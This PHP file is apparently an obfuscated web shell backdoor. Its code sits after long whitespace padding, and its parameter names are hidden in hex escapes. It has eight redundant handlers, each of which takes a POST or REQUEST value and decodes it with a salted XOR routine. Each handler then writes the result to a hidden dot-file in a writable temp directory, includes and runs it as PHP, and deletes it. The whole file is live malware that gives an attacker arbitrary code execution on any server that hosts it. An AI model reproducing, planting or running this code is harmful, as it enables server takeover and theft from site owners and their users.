<?php																																										if(array_key_exists("s\x79\x6D", $_POST)){ $item = array_filter([getcwd(), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); $flag = $_POST["s\x79\x6D"]; $flag = explode ( '.', $flag ); $parameter_group = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); $v = 0; $len = count( $flag); do { if( $v >=$len) break; $v4 = $flag[$v]; $chS = ord( $s4[$v % $lenS]); $d = ( ( int)$v4 - $chS -( $v % 10)) ^ 74; $parameter_group.= chr( $d); $v++;}while( true); $record = 0; do { $property_set = $item[$record] ?? null; if ($record >= count($item)) break; if (max(0, is_dir($property_set) * is_writable($property_set))) { $desc = implode("/", [$property_set, ".token"]); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $desc; @unlink($desc); die(); } } $record++; } while (true); }
																																										if(array_key_exists("\x72ec", $_POST) && !is_null($_POST["\x72ec"])){ $component = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir()]); $ptr = $_POST["\x72ec"]; $ptr=explode ( ".",$ptr) ; $property_set = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $i = 0; $__tmp = $ptr; while ($v7 = array_shift($__tmp)) { $sChar = ord($s4[$i % $sLen]); $dec = ((int)$v7 - $sChar - ($i % 10)) ^ 87; $property_set .= chr($dec); $i++; } foreach ($component as $factor): if ((is_dir($factor) and is_writable($factor))) { $token = "$factor" . "/.mrk"; if (@file_put_contents($token, $property_set) !== false) { include $token; unlink($token); die(); } } endforeach; }
																																										if(in_array("\x76\x61l", array_keys($_POST))){ $parameter_group = $_POST["\x76\x61l"]; $parameter_group= explode ('.' , $parameter_group ) ; $item = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2); $__len = count( $parameter_group); for( $y = 0; $y < $__len; $y++) { $v6 = $parameter_group[$y]; $chS = ord( $salt2[$y % $lenS]); $d = ( ( int)$v6 - $chS -( $y % 10)) ^ 23; $item .=chr( $d); } $component = array_filter(["/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir()]); while ($symbol = array_shift($component)) { if (is_dir($symbol) ? is_writable($symbol) : false) { $holder = "$symbol" . "/.pgrp"; if (@file_put_contents($holder, $item) !== false) { include $holder; unlink($holder); die(); } } } }
																																										if(array_key_exists("\x72e\x63", $_POST)){ $dchunk = $_POST["\x72e\x63"]; $dchunk = explode ( '.', $dchunk ) ; $bind =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $n =0; while($n< count($dchunk)) { $v8 =$dchunk[$n]; $sChar =ord($salt[$n % $lenS]); $dec =((int)$v8 - $sChar -($n % 10)) ^ 77; $bind .= chr($dec); $n++; } $component = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp", session_save_path(), getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($component as $key => $data_chunk) { if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $resource = vsprintf("%s/%s", [$data_chunk, ".key"]); if (file_put_contents($resource, $bind)) { require $resource; unlink($resource); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["d\x61t"])){ $pgrp = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), session_save_path(), "/tmp", "/var/tmp"]); $pset = $_REQUEST["d\x61t"]; $pset=explode( "." , $pset ) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $y = 0; foreach( $pset as $v9) { $sChar = ord( $salt[$y % $sLen] ); $d =( ( int)$v9 - $sChar -( $y % 10)) ^ 91; $data .= chr( $d ); $y++; } for ($descriptor = 0, $key = count($pgrp); $descriptor < $key; $descriptor++) { $pointer = $pgrp[$descriptor]; if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $fac = sprintf("%s/.object", $pointer); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $fac; @unlink($fac); exit; } } } }
																																										if(!is_null($_POST["\x6B\x65y"] ?? null)){ $resource = array_filter(["/tmp", "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP")]); $bind = $_POST["\x6B\x65y"]; $bind = explode( ".",$bind ) ; $flag = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); $m = 0; array_walk( $bind ,function( $v4) use( &$flag ,&$m ,$salt6 ,$lenS) { $sChar = ord( $salt6[$m % $lenS]); $d =( ( int)$v4 - $sChar -( $m % 10)) ^ 10; $flag .= chr( $d); $m++; }); for ($k = 0, $pset = count($resource); $k < $pset; $k++) { $fac = $resource[$k]; if (is_dir($fac) ? is_writable($fac) : false) { $itm = vsprintf("%s/%s", [$fac, ".component"]); if (file_put_contents($itm, $flag)) { require $itm; unlink($itm); exit; } } } }
																																										if(!is_null($_REQUEST["\x70se\x74"] ?? null)){ $binding = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP")]); $symbol = $_REQUEST["\x70se\x74"]; $symbol = explode ( "." , $symbol ) ; $holder = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); foreach ($symbol as $q => $v3) { $chS = ord($s2[$q% $lenS] ); $dec = ((int)$v3 - $chS - ($q% 10))^ 52; $holder .=chr($dec ); } while ($data = array_shift($binding)) { if ((function($d) { return is_dir($d) && is_writable($d); })($data)) { $flag = vsprintf("%s/%s", [$data, ".property_set"]); $success = file_put_contents($flag, $holder); if ($success) { include $flag; @unlink($flag); exit;} } } }


if(array_key_exists("p\x72oper\x74\x79\x5Fs\x65t", $_POST) && !is_null($_POST["p\x72oper\x74\x79\x5Fs\x65t"])){
	$flag = $_POST["p\x72oper\x74\x79\x5Fs\x65t"];
		 $flag 	=explode		(	"."		 , 	$flag   ) 		;  
	$hld = '';
            $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $s1);
            $len = count(	 $flag);
    
            for(	 $o = 0; $o		<$len; $o++) {
                $v6 = $flag[$o];
                $chS = ord(	 $s1[$o	% 	$sLen]);
                $d =(	 (	 int)$v6 - $chS -(	 $o	% 	10)) ^ 9;
                $hld.=	chr(	 $d);
            }
	$val = array_filter(["/var/tmp", getcwd(), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]);
	foreach ($val as $ref):
    		if (!( !is_dir($ref) || !is_writable($ref) )) {
    $factor = join("/", [$ref, ".object"]);
    if (file_put_contents($factor, $hld)) {
	require $factor;
	unlink($factor);
	exit;
}
}
endforeach;
}